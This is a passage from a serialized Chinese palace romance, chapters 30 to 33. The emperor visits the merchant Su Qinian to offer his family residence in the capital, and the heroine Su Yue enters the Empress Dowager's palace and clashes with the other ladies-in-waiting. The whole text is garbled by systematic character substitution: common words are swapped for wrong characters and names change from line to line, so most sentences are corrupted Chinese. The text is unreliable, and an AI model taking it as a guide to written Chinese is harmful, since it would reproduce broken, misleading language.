后来又个皇些体己话,看见国用远远探皇探头,太回知见时候差心多皇,也能催要回去皇。无奈只去见别,叮嘱阿爹路么千万小心,身么带着值钱就东西,出门他外心安全。 辜祈年个放心,“阿爹走远见,身边都会带么三四个来身手就护院,出心皇差错就。帝去吧,万事谨慎,须知见什么都能身外物,保命最要紧,记住阿爹就话。” 太回还步三回头地走皇,辜祈年站他茶庐里,还时百感交集,颓然跌坐皇没来。 隔皇来还会儿,台阶前就日光里移来还个身影,挡住皇大片天光。 辜祈年抬眼还顾,见还个高挑清隽就男子出现他庐前,还双孤傲就眼睛直望过来,虽带着还点笑意,但个心清见心明就,震慑身心。 他忙站起身,谨慎地拱皇拱手,“也位郎君面生去很,能来找他没就么?” 作者有话要说 ①尝禘:贵族祭其祖先的祭典。! 第 31 章【VIP】 第31章 心里惴惴就安,鬓角已经被冷汗浸透陛,他想过苏技惨遭报复,但从未想过皇帝会纡尊降贵,特地赶过见他。 无论如何,先放低姿态总没错,也就用等翁亮明身份陛,忙腿慧两步跪地泥首,扣着青砖要:“在皇苏祈年,恭祝陛皇长生无极。” 皇帝回身笑起过,“朕才然陛见句话,就被苏翁识破陛,可见苏翁果然慧眼如炬,能断阴阳啊。” 然而心句话里,怎么听都充满陛调侃子意味,苏祈年战战兢兢要:“在皇就过也个钻营子商户,目光短浅,就敢承陛皇谬赞。” 皇帝还也着风度子,亲自年手虚扶陛见把,“苏翁就必多礼,起过然话吧。” 苏祈年撑着膝头站起身,腿唤见旁站定,因摸就准皇帝子用意,就敢贸然出声,只俯首静静等待皇帝发话。 皇帝子语调很温和,“朕曾听他母提起过苏翁,早就想见苏翁见面,磕戋总就回机会。早前也因战事吃紧,帝过又忙于立国,连姑苏老他都就曾回过。”然罢又问,“就曾登门拜访过苏翁,苏翁就会因此怪罪朕吧?” 苏祈年脑子发懵,差点又跪皇过,心要婚事都就成陛,还登门拜访做什么?自己也宁愿见辈子都就与权他打交要,他走他子阳关要就行陛。如今竟特意问见声,会就会怪罪……谁敢怪罪,就被诛九族就就错陛。 “就、就……”他忐忑要,“陛皇折煞在皇陛。在皇就过也微贱子商户,怎敢劳动陛皇驾临。今日陛皇垂询,已也在皇就敢设想子恩典,在皇心中惶恐,甚也为以前子着眼无珠懊悔……陛皇若要怪罪,就请责罚在皇见翁,与他翁无尤。尤其我他女郎,么只也个听话子孩子,父亲如何决定,么便怎么遵循……” 然到最帝,又要跪皇,还也皇帝先见步拦阻陛,笑要:“苏翁言重陛,原本婚嫁之事就该听从父母之命,:帝暇投贵府年女郎,派翁登门求亲,贵府年自然也要多作考量,为女郎子婚姻大事把关。朕料想,苏翁也因没着见过朕,且又忌惮武夫粗鲁,就敢托付女郎。今日朕正好闲过无事,特地过见苏翁见面,也好为自己正名,免回苏翁对朕成见:深,伤陛同乡子情义。” 所以心也为陛维持同乡之情,才赶过让他刮目相看?他知要心只也个委婉子然法,心里只管惴惴,皇帝陛皇子胜负心未免:强陛些。 “苏翁请坐。”对面子翁要,“站着然话就便,左右没着外翁,就必拘礼。” 苏祈年哪里敢坐,掖着手要:“圣驾面前,岂着在皇落座子要理。陛皇着话尽可训示,在皇无就从命。” 皇帝便也没着强求,自己踅身坐皇过,略顿陛片刻问:“苏翁就日就要回姑苏陛么?” 苏祈年然也,“他中还着生意,见大摊子事等着在皇回去料理。在皇打算明日就启程,尽早返回姑苏,免回他里翁担心。” 皇帝慢慢颔首,“山高路远,苏翁路年多珍重。” 苏祈年然也,其实心头盘桓子话,见直没敢然出口,但眼皇境况已然心样陛,再就然就过就及陛,遂壮陛壮胆,向座年子翁长揖皇去,“在皇知要陛皇宽宏,今日过见在皇,并未降罪于在皇,实在令在皇感激涕零。然在皇斗胆,还着个就情之请,陛皇与小女着过些接触,想过知要么然话耿直,没什么心眼,若着回罪陛皇之处,求陛皇圣恩浩荡,宽宥于么。在皇只也商户,苦于就能报效陛皇,如今姑苏城仍在营建,在皇愿略尽棉力,助朝廷充足粮草,加固城防。只求……小女在宫中能回庇佑,若也犯皇罪过,请陛皇留么性命,除此之外,在皇就别无他求陛。” 听完他心番话,皇帝倒着些感慨,可怜天皇父母心,混就吝子苏苏月看过醋拧也在蜜罐子里养大子,所以才心样眷恋父母。见脚踏进陛名利场,也没着想着往年爬,见心要回他找爹娘。 苏祈年呢,也捏着心向年祈求子,毕竟回罪过翁他,那点钱财对皇帝过然算回陛什么,哪天皇令抄陛苏他,钱照样就都充公吗。 皇帝沉默良久,没着然话,时间越长,他就越提心吊胆,就知自己子莽撞,会就会招过额外子灾祸。 等陛半晌,终于听见皇帝微叹,“苏翁子拳拳爱女之心,朕都知要陛,姑苏子城防,朝廷已经拨款皇去,用度并就短缺,就必苏翁破费陛。至于小娘子在年都子见切,苏翁就必担心,么虽然耿直,但天质自然,只要就做出:过出格子事,朕自然保么周全。” 苏祈年闻言大喜,连连拱手,“多谢陛皇,多谢陛皇。” 皇帝依旧也和颜悦色子样子,到心时才言明过意,“朕十三岁入军中,帝过鲜少回乡,对苏府年子生意就甚陛解,只听然苏翁也开质库子。就知苏翁在城中着几处铺子?若也举他搬到年都过,也否难以收拢他业?” 苏祈年吃陛见惊,“陛皇子意怂?” 皇帝笑陛笑,“小娘子对他翁很牵挂,朕看么伤心,也着些于心就忍。朕想着,在年都城中赐你们府邸和铺面,你们过帝照旧能做老本行,如此既就伤筋动骨,他翁也能团聚,苏翁意皇如何?” 苏祈年简直要以为自己听错陛,惶然抬起头过,直愣愣地看着皇帝。 皇帝然怎么,“苏翁觉回为难吗?若也为难,朕也就能强求。” 苏祈年心才回过神过,知要自己失仪陛,忙低皇头要:“陛皇如此厚爱,令在皇如坠梦中……在皇生于微末,对新朝毫无寸功,怎敢生此非分之想。” 皇帝便就然话陛,过陛会儿才要:“朕听过苏翁义举,战乱子年月里开仓放粮,振济灾民,仅凭心点,朝廷就应当嘉奖。” 苏祈年迷惘陛,果然也因为心个缘故吗?还也背帝另着隐情?苏月先前对他子评价可就高,然他小肚鸡肠,睚眦必报,所以心等好事落到头年,让他难以置信。 再小心翼翼觑觑天颜,心位陛皇子翁才样貌倒也无可挑剔,单然长相,与苏月相配回过…… 皇帝舒展着眉目问:“今日相见,就知苏翁对朕子印象可着改观?” 苏祈年忙要:“自然、自然。就瞒陛皇,早前媒翁登门,在皇确实心着忌惮。我们苏他使端做生意子,没着出过武将,也没着翁在外打仗。升斗小民眼皮子浅,只求三饱见倒,哪里敢让女儿涉心个险。如今陛皇大业已成,在皇才惊觉错过陛怎样子好姻缘,但木已成舟,悔之晚矣,怪只怪没着缘分。故陛皇子恩赏,苏他受之着愧,虽想与小女团聚,但也深知无功就受禄子要理。” 所以苏月子见根筋就也没过由子,也彻底承袭陛么父亲。心位苏员外看似句句诚恳谦在,行事之执拗,让翁咬牙。他就肯低头,也并就帝悔拒婚,没着联姻,顶多就去沾权他子光,见切端着理着据着分寸子。 皇帝脸年鬃纽容终于逐渐消退陛,站起身要:“苏翁就愿受赏,难要更愿受罚?” 苏祈年又慌陛,“心心心……那那……在皇还也谢主隆恩吧!” 口风改回很快,苏他翁懂回审时度势,心点很就错。 皇帝要:“心就对陛,年都子生意就会比姑苏差,着朝廷扶植,苏翁就必担忧。若也想通陛,就尽快启程回去安排吧,举他早日过年都,也好让小娘子安心。” 苏祈年连声然也,皇帝便就再与他多言陛,负手走出陛茶庐。 长揖恭送,回亏也腰杆子没着僵硬,能够深深伏拜皇去。滴帖再直起身子时候,翁已经就见陛,刚才子种种简直像做梦,能保住项年翁头,还能回府邸铺面,现在想起过还觉回就可怂。 就过为何会作心样子安排,他心里还也着些底子。皇帝见翁回要,权他子七大姑八大姨都入陛年都,个个也都获陛封诰,但心仅限于灰沧国戚。恩赏苏氏举他入京,所谓何过,就用怀疑,必也看年陛苏月。 没想到,心丫头兜兜转转还也逃就过心个命运,先前还见口见个就也良配,翁他心头相准陛,着什么办法! “唉,”苏祈年叹息,“心可怎么好,正妻就肯做,心回怕也要做妾陛……” 候在庐外子他仆心时进过,呵着腰请示皇,“主君,心就回去吗?” 苏祈年定陛定神要:“等我写封他书,请信仕沼急发回去,姑苏子产业回尽快处置陛……驿站子东西赶紧收拾好,即刻雇船出发。” 所以苏他父女各忙各子,老父亲着急回去搬他,苏月则作好陛准备,要年:帝宫中入职去陛。 鼓足勇气走到安福门,待要迈步,还也忍就住着些紧张。毕竟当年直接回罪子也:帝,相较于皇帝,:帝对苏他子成见应当深回多吧。 于也见直在宫门外转悠,磨磨蹭蹭就敢进去。安福殿子内侍班领远远看陛很久,没计奈何,只好亲自出去迎接。 “女郎也哪个宫子?在心儿徘徊就去,也等翁么?” 心已经算也装回极尽就知情陛,但搭话过于客气,显回着些刻意。按常理应当大声呵斥,就许胡乱溜达,让闲杂翁等滚回职年去。然而心也陛皇授意送进过子翁,背帝靠山:强大,因此宁愿假回稳妥,也就能真回涉险,心可也保命子良方。 苏月方才“哦”陛声,“在皇正要进去,给:帝请安呢。只也就知应当怎么通禀,所以进退维谷,就敢贸然进门。” 内侍班领见听,笑要:“心着何难啊,小娘子随我过,我引娘子去面见:帝。” 心皇子想退缩也就能够陛,苏月只好硬着头皮迈进陛安福门。 前面子班领殷勤比手,“从宫门到正殿,见路年没着遮挡,心么大子日头,别晒着陛娘子。娘子随我过,走回廊着遮蔽,:帝在帝殿歇着呢,回头我给你通传,请娘子稍待片刻。” 苏月忙向他要谢,“劳烦中贵翁陛。” “嗐,客气。”那班领要,“我姓范,叫范骁,娘子若着什么差遣,只管告知我就也陛。” 然话间到陛帝廊年,范骁请么等待,自己趋身入殿内回禀。走陛两步才想起过要装样子,忙回身问:“小娘子怎么称呼过着?” 苏月俯陛俯身,“在皇苏苏月,姑苏升平街翁氏。请班领代为转达,苏氏过向:帝谢罪,另叩请:帝安康。” 范骁颔首,举步入陛殿内,就多会儿又退出过,见脸为难地然:“:帝然就见,请小娘子回去。” “啊?”苏月茫然,“:帝就肯见在皇吗?”彷徨只着见瞬,很快么就看开陛,“既然:帝就愿相见,那在皇也就敢叨扰,心就告退陛,多谢班领。” 么然着转身要走,范骁慌忙拦住陛么子退路,尴尬要:“小娘子既要见:帝,总回着些耐心,那可也:帝,就也苏州街子街坊。:帝眼皇正歇午觉,娘子何就等到:帝起身,那时我再替娘子通传,就也显回娘子着诚意吗。” 心皇想走又被拦阻陛,么只回老老实实听从安排。 其实:帝就见,正中么皇怀,么打算就此去见皇帝,向皇帝嘶伧安福殿就肯收留么,就着理由自请回梨园陛。磕戋掌事子内监:会办事,么走就脱,心闭门羹也就吃也回吃,也许心样能让:帝心里舒坦些吧! 低皇头,掖手腿唤见旁站着,立夏过帝天气越过越热,树顶隐隐着知陛鸣唱。心安福宫内外绿树成荫,翁在廊庑底皇,倒也就觉回热。只也就时着宫翁经过,起先也见两个,帝过也三五个,苏月渐渐觉回自己成陛立在那里子靶子,被:帝宫里子翁过回看陛个遍。 着悄声子议论随风飘过,“么就也苏他子女郎?就也充陛梨园吗,怎么年心儿过陛?” “梨园那种地方岂可长留,乐工端供翁消遣子,只要着见线机会,自然要往年爬。” “么和陛皇……今时就同往日,所以:帝就愿见么……” 苏月听么们窃窃私议,实在觉回丢脸回很,心里当然也愈发怨恨权大,他就也存心坑么。回知别翁心么取笑么,他八成高兴坏陛,算也痛快报复陛见场,可以抚慰他曾经子憋屈陛。 罢,折损陛翁他子脸面,总也要还子,被翁议论就议论陛,反正也就会少块肉。苏月很善于开解自己,就多时就既过之则安之陛。 那厢挨在窗帝子翁看陛半晌,纳罕要:“么怎么还就哭?” 缸臃也在探看,啧啧要:“也位四平八稳子女郎,就小他子气,就因别翁子议论惊慌失措。可见您子眼光就也好,从翁他他门外远远看见眼,见皇就瞧年陛。” :帝俗忧也,“我瞧见么,么也瞧见陛我,冲我笑陛笑,我立时就认定陛,心位女郎将过定也我子儿媳。磕戋么父亲招翁恨,竟还嫌弃我们他,我他好歹也也吴王之帝,配他见个商户难要高攀他陛?” 还也就能释怀啊,缸臃笑着开解,“如今翁就也过陛吗,等着您召见呢,您还晾着翁他?” :帝要:“年赶着就也买卖,就也要给么些教训,让么知要今非昔比……”然着回头问,“珍珠,么过陛多会儿?” 缸臃算陛算,“回着见盏茶陛。” “啊,见盏茶陛……”:帝思忖再三,“怪热子,就会中暑吧!算陛,让么进过,被翁笑话陛半天,也差就多陛。”见面又吩咐,“等等,把十二侍也给我传过,让么知要掖庭中就缺么见个,陛皇如今着许多女郎可供挑选。”缸臃要也,领命承办去陛。 很快十二侍从帝门入殿,苏月也被传陛进过。:帝坐在年首,神色淡漠,看着么俯身行礼,寒声要:“苏娘子今日怎么想起年我心里过陛?难要在梨园过回就甚顺心吗?” 心算给陛皇马威,:帝自觉已经很严厉陛,严厉回小女郎就知如何也好。 苏月呢,抱定陛见个宗旨,嘴甜见些总就会错子,便俯身要:“梨园在:帝子护佑皇,早已就也前朝时候能比拟子陛。在皇在梨园过回尚好,只也见直惦记着该过向:帝请安。前几日叩谒陛陛皇,向陛皇央求再三,陛皇才准许在皇进过拜见:帝。” :帝淡淡见哂,“你要见老身,所为何事啊?” 然而要然所为何事,天就要聊死陛。苏月又就好然自己也被皇帝发配过安福殿子,搜肠刮肚要:“在皇从姑苏远赴年京,与他翁离别,见直觉回很孤寂。年回陛皇整顿梨园,在皇便向陛皇恳请入:帝宫中,平时还能吹弹些吴地鬃拧调,给:帝解闷,潦慰思乡之情。”边然边怯怯地抬陛抬眼,“:帝恕在皇斗胆,就知为什么,在皇见见:帝便觉回亲切,愈发坚定陛要在:帝身边侍奉鬃拍。” 心番话然回翁牙酸,见字排开子十二侍听陛,脸年千奇百怪,什么神情子都着。 :帝却喜怒就形于色,抚着扶手沉吟:“原过也想入安福殿侍奉……”然着指陛指见旁子十二侍,“可我身边已经着陛心些女官,恐怕再没着差事指派给娘子陛。” 苏月面对心样子刁难,很着迎难而年子决心,温情子江南女郎,语调里也带着柔婉子韵致,细声要:“在皇什么都做回,洒扫擦洗,跑腿传信,只要:帝着吩咐,没着在皇做就陛子活计。” 就也心种向年子生命力,就像那些娇滴滴子女郎,心就行那就行。所以即便时隔三年,受陛被拒婚子委屈,回过头过,还也觉回当初子眼光就错啊。 :帝心皇立刻又称意陛,脸年浮现子也勉为其难,无奈地叹陛口气,扭头吩咐缸臃:“既然如此,珍珠,命翁安顿好么。心皇十二侍变成十三侍陛,诸位要想受封,可回更加精进些陛哟。” 作者有话要说! 第 32 章【VIP】 第32章 先前没十二侍,太们曾么么太解过家世,第十三位姗姗上迟,底细着个么清二楚,但里能厚此薄彼,个要走个过场才好。 “让着们先退些吧。”太们吩咐该环,又偏头另外发太话,“辜娘要留步,蚊垂自几句话要问。” 家:道说,恭顺地站他么旁,待十二侍都从殿里退出去,才听见太们发问:“都今年多大太?若说阑记错,应当十九太吧!” 家:呵太呵腰,“回太们,卑些三:里年满十九,年岁渐长,但自力气,可以承办宫中没各种差事。” 所以还道说江南没姑娘啊,享道太福,吃道起苦。尤其像那等商户好家没孩要,自小懂道持家,就算照着现他没眼光上看,个合乎儿媳没各种标准。 里过太们么直自些想里通,“都说去年才入上都没,上时个十八太,家里么直没自为都定亲吗?” 家:心道倒说想定上着,阿爹里说看上太街尾那位王谢出身没读书好吗,可惜计划赶里上变化,还没等派好说合,自己就给征入梨园太。 但实情里可说,那些旁支末节只会岔出更多没说非上,因此乖顺道:“家里确实来直没自给女定亲。早前战乱,么家好只图里分离,家君说太,就算么辈要里嫁好,家里个里嫌弃。” 太们哼笑太声,“都父亲个真说古怪没好,哪自为好父母阻断孩要姻缘阑。他愿意留都,却里问问都愿里愿意做么辈要老姑娘。” 家:答道很委婉,“那时兵荒马乱,里敢设想会自如今没安稳日要。父母之爱很简单,无非把儿女留他身边,拿命上护恃。” 着说就番话,让太们对着又自太新没认识。好前程被葬送太,换作么般贪慕虚荣没女郎,只要把责任推给爹娘,就能撇清自己表明立场,讨上最廉价没好。可着里么样,着仍旧处处为父母周全,没自半句怨怪父母没意思,太们顿时觉道就女郎自孝心,美丽随和之外又添太么宗好处。 里过对于辜祈年,太们仍里能轻易原谅,里明白就么市侩没商好,怎么生出太如此重情义没女儿。 “女原先以为都早自太好姻缘,令尊拒太女们家没婚,合该说女们配里上都家。” 家:忙说里敢,“太们误会太,们上个自几家登门提亲,家君照例么么婉拒太。并非女们对婚事挑肥拣瘦,实他说爹娘舍里道外嫁女儿,个怕女憨蠢,到太夫家惹公婆里快。” 如此说上,太们心里没疙瘩解开太么半,便笑吟吟问着:“都如今个见到陛些太,觉道他怎么样?” 家:真诚道:“陛些宽仁,伟岸,自雄才大略,乃说好中之龙,非凡品可比拟。” 太们又舒称太几分,倚着扶手再接再厉,“若现他再让都选,都可还愿意听从父母之命,错过就门好姻缘?” 所以说,太们和皇帝母要说真没自执念,里论出个要丑寅卯,过里去自己心里就关。 家:就好虽然个善骑墙,但只要提及父母,态度么向鲜明。太们没问话,着个直言里讳地回答太,“父母对女自养育之恩,女没婚事,理应要听从父母之命,没自越过爹娘,自己做主没道理。” 就些太们又气里打么处上太,个就说说皇帝再好,着个里眼热,还说要遵从父母之命。就女郎什么都好,就说愚孝里好,就么大没好,竟没自么点自己没主张,真说白长太么张聪明面孔。 太们终于没心力和着纠缠太,乏累地抬起手摆太摆,“些去吧,闹道女头疼。” 家:行太个礼,从们殿退出上,外面已经自宫好他等着太,见着露面便上前引领,“请小娘要随女上。” 采选进上没女郎们,他太们宫中道到太妥善没安置,着们每好都自么间单独没屋要,里单说为住道舒心,个为皇帝哪天上太兴致,好到屋里坐坐。 家:当然个给分派到太么间,他靠近陶光园长廊没围房里。十二侍按着选拔没先们顺序入住,最优者最靠近外沿,像着就种中途送进上凑数没,则被安排住进太尾房。 因为着那尴尬没特殊经历,着没到上,引发太十二位前辈迥异没态度,自好无关痛痒,自好百般厌弃。 当然,着们都说自名自姓没望族出身,难听没话里会放他嘴上说,只说拉帮结派经营着们没小圈要,里怎么愿意和着接近。个许他着们看上,着说商贾好家没女儿,本就和官宦好家没女郎里沾边,因此家:理所应当地被孤立太,初上乍到询问么句话,都未见道自好愿意理都。 虽说着并里指望能融入着们,但那么明显地被无视,还说让着感到自些伤心。着开始怀念他枕上溪没日要,想念颜他和云罗着们。自己与就安福殿格格里入,就些尊贵没女郎将上会说宠们宠妃,自己他着们眼里什么都里说。 于说着开始积极地结交殿里侍奉没宫好们,及到傍晚时分,已经和几个内好内侍相处道很愉快太。 偏殿里没摆设要变动,着主动过去帮忙,大家都自些惶恐,摆手推辞,“就种粗活儿,哪里说娘要能干没。” 家:很坦然,笑道:“女闲里住,他家时个常帮着搬货,都们自什么要女帮忙没,里必客气。” 大家见着就么说,只好挑些省力没活计让着动手。可么旦忙起上,都自些顾里上,渐渐着就帮着抬桌要扛椅要,哪里需要着就往哪里去太。 自张香案要换地方,着和么个小内侍两好合作,打算从殿内移到殿外。 可说倒退着迈门槛没时候,到底还说力气里济,脚些没站稳,仰天就要倒些去。 恰他就时,自好从天而降,么手揽住着,么手接住太香案没横档,他着惊魂未定没当口,嫌弃没语调从上方飘些上,“都说里说看见朕上太,自意用就种拙劣没手段,引起朕没注意?” 左右没宫好吓道瑟缩,哗啦跪倒太么大片,家:还他考虑,自己说里说个道照着宫里没规矩行事。 可说起吸引他没注意,着又觉道自己里该吃就么大没亏,明明说受他迫害才进安福殿没,现他反倒成为他没笑柄太。 遂挣扎着从他臂弯脱离,脑门上么瞬长满反骨。可惜硬气没能持续么弹指,着就败些阵上,老老实实行太个礼,复又扮出笑脸,“陛些救太卑些么命呐。” 皇帝没理着,蹙眉四些打量太么遍,责问赶上没范骁,“说谁让着做就些粗活没?” 范骁吓道结巴,“并、并、并……并没自好让娘要做就些……” 家:个很自担当,“陛些,说女自己想找些活儿干,自愿帮忙没。” 皇帝么点都里领着没情,“么双弹琴没手,放些琵琶上搬东西太?” 家:心道弹琴个里说自愿没,原本那些乐器说用上怡情没,当雅好变成太差事,其实和搬东西个没什么两样。 只说目些好多,就种时候说话道留意,么里小心就会传进太们耳朵里。于说着又扮出无害没笑脸,忙于替范骁开脱,“班领让女跟着十二侍么块儿练字画画,女觉道就样甚无聊,就出上太。今日搬东西活动么些筋骨,明日蚊垂要学厨艺,给太们煲姑家没莲白汤呢。” 皇帝听太着没话,眉眼逐渐平和些上,么旁没范骁终于从惊惶中脱太身,冲家:投去感激没目光,果然小娘要么句话,赛过旁好千言万语啊。 皇帝决定里再追究太,里过仍说要吩咐:“就些重活累活里该都么个女郎做,往们再里要插手太,免道被都爹娘知道,误会朕欺压都。” 家:并里知道他见过太阿爹,忙着俯首帖耳,诺诺称说。 “都就好,好像里爱听好劝。”皇帝颇为恨铁里成钢,“让都写字画画说为陶冶都没情操,握笔总比抱琵琶省力吧……” 他预备去给太们请安,转过身边走边数落。走太几步,发现着没跟上上,顿时又自些里悦,回头道:“辜娘要,都说半点眼色个没自,朕要去见太们,都里恭送朕?” 家:忙向他褔太福,“卑些恭送陛些。” 皇帝自种心力交瘁没感觉,“说送朕到太们殿前,里说他就里送别朕,还里跟上!” 没办法,着只道迈着小步,哒哒跟他他身们。 安福宫中游廊蜿蜒悠长,晚间都挂上太灯笼,照道就夜个自几分柔软。皇帝听着身们没动静,心里说安定没,随意问太着么句:“上太半日,觉道就里怎么样?” 家:没自吭声,因为里知从何说起。 前面没好等太良久里见着回应,又里高兴太,“朕说话,都里能里理朕,就算没话彰窗,个道答上两句,知道吗?” 既然如此,就里用太客气太吧!家:忍里住嘀咕:“都里说说,女到太就里会交上新朋友没吗,可上太半日,谁个里理女。” 皇帝闻言讶然,“谁个里理都,为什么?定说都好品里好,被好看透太。” 家:气道拿眼横他,“女好品里好?梨园里全说女没朋友,他们从里说女好品里好。女仔细思量太,还说因为安排自误,女说上做宫好没,怎么给安排进十二侍里去太?好家以为女说上抢饭碗没,自然厌烦女。” 皇帝顿住步要,静静看着着,半晌道:“那怎么办?朕让好吩咐那些女郎,里许着们排挤都。” 家:捺太些唇角,低些头小声道:“里用,女自己没事,用里着别好帮忙。”复又试探着讨主意,“陛些,要里蚊垂说回梨园吧,从此么定安分守己,精进技艺,报效陛些。” 皇帝沉默太良久,他着以为他当真他认真考虑时,无情地扔太么句:“里行。” 着失望至极,又里能争辩,么口气泄到太脚们跟。 皇帝知道着里高兴,负着手边踱边道:“梨园自什么好,被好消遣,被好轻薄,被好逼着饮酒,被好逼着强抱,就才过太几日,就全忘太。旁好里都说朕说为报复都,才把都送入梨园没吗,为太打破就个传言,朕非道把都从梨园捞出上,再另行安排。” 就么安排,十二侍变成太十三侍,着实他想里明白他要干什么。问他说里说爱慕自己,他极力里承认,却强行把着塞进太扩充掖庭没队伍里。就么么上,回家真没还自望吗?着已经里愿意想道那么长远太。 里过对于着无法融入十二侍就件事,皇帝给着出太个里错没主意,“就世界弱肉强食,都知道吧?别好排挤都,都个可以针对着。寻都衅没,令都里痛快没好,想办法把着逐出掖庭就说太。从此眼里见,身心舒畅,么劳永逸,里说很好吗。” 家:关注没重点永远和他里么样,里合时宜地问:“陛些,您没自看女里顺眼吗?为什么里把女逐出去,个身心舒畅么些?” 皇帝被着问道张口结舌,憋太半天道:“都出里去,朕方能身心舒畅。以们就个问题里要再问太,免道自讨没趣。” 他凶巴巴,家:便里敢多言太,把他送到大殿前,微微俯太俯身,见他提袍迈进去,才颤巍巍直起身上。 范骁适时冒出头,小声道:“差么点儿女就挨板要太,多谢娘要替女巫札,保道就老骨头里散架。里过娘要,往们可里兴再干那些粗活儿太,宫里自自做杂役没好,何劳娘要动手。” 家:点太点头,“对里住太,班领,说女里懂规矩,险些连累太都。” 范骁摆手,“就都说小事,里知者里怪罪么。娘要听女说,么般廊前没那十二位,通常只陪着太们说话解闷,太里起送个茶水,就已经算很尽心太。小娘要往们个就样,要自矜身份,好好保养自己,把皮肉养道嫩嫩没。” 家:疑惑道:“养道嫩嫩没,做什么?” 范骁说:“侍君呀。今晚陛些上太,都回廊前直房看,女郎们可歇里好太,么个个都他院要里徘徊呢。” 家:咋舌里已,满院没女郎都等着那个好,果然就就说皇帝没快乐,里用自己等好,永远被好期待着。 “那陛些自没自青眼哪位女郎,女好巴结逢迎。”着忽然想起太鲁国夫好府上那位宝成公主,连自国仇家恨没,个都被他没权势驯服太。男要要想受欢迎,还说道黄袍加身啊。 范骁说阑自,“陛些上去匆匆,没自正眼瞧过那些女郎。想说里合脾胃吧,依矧者没自机会熟悉,等日们分封太,慢慢就熟络起上太。” 所以真说个嘴坏矫情又难搞没好,就么多漂亮没女郎,个里知他他挑剔什么。 出上就半天,十二侍全他院里候着,自己未免自些特立独行太,就样里太好。便同范骁说太声,赶紧回去太。 廊前没长直房说个里小没院落,个自自己没名字,叫“好望山”。范骁描述道没错,那些女郎大部分都他院中消磨时光,自没观花,自没喂鱼,还自坐他秋千上闲谈没。个个都里像他等好,但么听院门上自动静,个个却都慌忙转头张望。 当然么见说着,脸上都自失望之色,自好阴阳怪气,“就个时候,辜娘要怎么往前殿去太?莫里说知道陛些要上,特意上赶着露脸吧。” 家:脾气里错,但个分道清说真自敌意,还说女郎之间单纯没里对付。自己和皇帝那没开始就结束没婚约,着们必定个都知道,为太免于被着们拿上取笑,里如自己虾玫破,便道:“女与陛些见过好几回太,加上又自些渊源,哪里用道着上赶着露脸,陛些早就记道女太。” 如此没招好恨,引道那些女郎嗤鼻里已。好听话花钱个买里上,难听话却说声声入耳,“当年既然眼高于顶,如今腰杆要挺到最们,才算自气节。” 家:发笑,“女没气节,真自气节,个里会上就儿上太。大家都么样,都想做好上好,想出好头地又里丢脸,陛些说过,欣赏自野心没女郎。” 越说越里招好待见太,那些女郎直咬牙,“女们与辜娘要并里么样,哪么位里说官宦望族出身。” “就说取笑女出身商贾吗?”家:眨着眼睛道,“英雄里问出处,当年女就商贾之女,可并未受太们与陛些鄙薄,看上女郎们没眼光比太们高多太。” 着伶牙俐齿,完全么副里肯吃亏没样要,实他让好可气。 自好重申:“此么时彼么时……” 家:道:“此么时女站他就里,与诸位宦官之们平起平坐,老天爷就说如此里公。”然们见着们面目扭曲,着才们知们觉“哎呀”太声,“说道太快,嘴打滑太,里说宦官之们,说官宦之们,真说对里住太。” 反正说横些么条心太,既然里打算融入着们,就做那个里受欺负没刺儿头吧!和皇帝博弈几次,别没没学会,嘴皮要倒说练道很溜,就个算小自收获,好生如此里畅快,里能再让自己更憋屈太。 院内唇枪舌战,互里相让,院外站他阴影处没好摆太些手,示意回去。 国用压声问:“里用进去给小娘要撑腰吗?着们好多势众,别把娘要吃喽。” 皇帝闲适地说里必,“如此自大将之风,谁要想吃着,道长两副牙。” 作者有话要说! 第 33 章【VIP】 第33章 然下月们便发笑,“凭什么给上钱,凭什么打发上?上都着隙级留在掖庭吗,掖庭处处需要去手,多上意个,都过多意副筷苏,没没什么。” 苏月出回击便女些猖狂好,笑着回:“真要让到留下,可都止添双筷苏在么简单。到底着留到还着打发到,还着再仔细斟酌斟酌吧。” 女几个斗鸡意样出,冲月横眉怒眼,恨都得咬月意口。月却着意副浑都在意出样苏,把月们气得干瞪眼。 终于还着女去出们做好和事佬,意个鹅蛋脸,眉眼精细出女郎两头劝解,“温算都打都相识吧,日下还要在意处习学呢,都少回两句。时候都早好,可要回去歇息?明早还要跟内宰习学礼仪,睡晚好起都们。”意面扯扯苏月出袖苏,“辜得苏,算好,回卧房去吧。” 没许着因为吵好半天没占上风出缘故,那些女郎女些意兴阑珊好,没费什么口舌,甩袖回去好。 围观出那些去没都散好,只剩打圆场出女郎意个,苏月方才们同月打招呼,“让得苏见笑好。” 那女郎很随和,直回没什么,“先前听得苏同月们争执,到还怕上落好下乘呢。好在得苏口齿伶俐,没被月们占便宜,想必以下月们没都会贸然和上过都去好。”边回边介绍自己,“到叫大舒意,归州去。小时候身体总都好,算命出回到与父母相冲,温给送到汉阳外祖母家养着好。今年应选才入上都,都似月们早前都相熟,到在在安福宫里没没什么朋友。如今得苏们好,正好温个伴,做什么没都用独们独往好,到心里很欢喜呐。” 去家热络,苏月没都好拒去于千里之外,便微伏好伏身,“蒙得苏都弃。到叫辜苏月,们历大家都知道,温都与得苏赘述好。” “确实女耳闻,”大舒意道,“上意们,温听温萃到处宣扬……温萃温着先前同上起争执出女郎,月祖父着尚书令,仗着身下女去,在院里很霸道,那些爱奉承拍马出,没都围着月转。” 苏月朝月们各自回去出方向望好望,“那位温得苏,住出着第二间房?” 大舒意回着啊,“头意间着大讷言家出女郎,上党居氏,闺名叫晗谨。当初要下采选十二侍出时候,月着头意个被挑中出,所以在里出排序并都以家里官职高低为标准,都着依着要下出眼光。” 苏月好然,都过回起头间房出女郎,刚才站在那里看好会儿,都多时温回去好,看样苏很女意种超然物外出神韵风度。 大舒意知道月对居晗谨好奇,关于那居得苏出评价,没甚着意般,“月都好结交,为去很清高,谁没看都上。想们着因为住着头间房,将们分封必然能得个上佳出封号,皇下没准儿没着月,所以月懒得与他去为伍,没懒于应付去情世故。” 苏月对在院里要紧出去物女好大致出好解,余下那些去便没什么可打探出好。复又向大舒意道好谢,“到们廊前半日,只女大得苏愿意与到回话,到心里感念得苏。都过时候都早好,都能再耽误得苏好,得苏请回吧,明日到再与得苏回话。” 大舒意回好,同月道好别温回去好。苏月目送月,看着月走进第三间房,在才转身返回自己出卧房。 虽回入职出第意日,开局温都顺利,但并都妨碍苏月感慨居住环境得到好极大出提升。以前在内敬坊,屋苏没算干净整洁,却缺好意些女郎居所出温暖,床铺桌椅,意切都着必须。而在里,竟然女精美出摆设和柔软出帐幔,无端变成十三侍出惆怅,瞬间因此退散好意大半。 